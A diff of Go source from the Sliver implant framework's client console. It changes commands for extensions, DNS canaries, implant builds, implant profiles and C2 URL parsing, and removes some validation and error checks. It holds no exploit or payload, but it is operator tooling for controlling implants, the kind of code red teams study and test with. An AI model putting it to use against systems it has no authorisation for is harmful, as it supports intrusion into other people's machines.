func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -486,8 +449,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
|
||||
}
|
||||
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
@@ -495,3 +457,7 @@ func CmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -81,10 +81,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,10 +64,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
|
||||
@@ -1,15 +1,16 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
@@ -20,45 +21,56 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
lineColor := console.Normal
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
if canary.Triggered {
|
||||
lineColor = console.Bold + console.Red
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -394,9 +394,6 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "mtls" {
|
||||
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
@@ -418,20 +415,17 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "wg://") {
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "wg" {
|
||||
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
@@ -464,9 +458,6 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -496,9 +487,6 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -517,20 +505,17 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -550,25 +535,16 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "tcppivot" {
|
||||
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -2,9 +2,7 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -12,24 +10,8 @@ import (
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
}
|
||||
build := ImplantBuildByName(name, con)
|
||||
if build == nil {
|
||||
con.PrintErrorf("No implant build found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: name,
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
|
||||
@@ -19,29 +19,19 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"io"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
type ImplantBuildFilter struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Beacon bool
|
||||
Session bool
|
||||
Format string
|
||||
Debug bool
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
@@ -49,118 +39,51 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("OS/Arch")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
)
|
||||
|
||||
for sliverName, config := range configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
if 0 < len(config.C2) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
sliverName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
config.Format,
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
)
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
)
|
||||
}
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
|
||||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
})
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
return nil
|
||||
table.Flush()
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
}
|
||||
@@ -30,9 +30,9 @@ import (
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
con.PrintErrorf("no profile selected")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
@@ -1,22 +1,5 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -27,40 +10,15 @@ import (
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile
|
||||
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
@@ -69,6 +27,6 @@ func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -1,28 +1,8 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -30,24 +10,8 @@ import (
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("No profile found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: name,
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
|
||||
@@ -21,15 +21,15 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
@@ -39,75 +39,72 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
return
|
||||
} else {
|
||||
PrintProfiles(profiles, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintProfiles - Print the profiles
|
||||
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Profile Name",
|
||||
"Implant Type",
|
||||
"Platform",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
})
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
|
||||
obfuscation := "disabled"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "enabled"
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
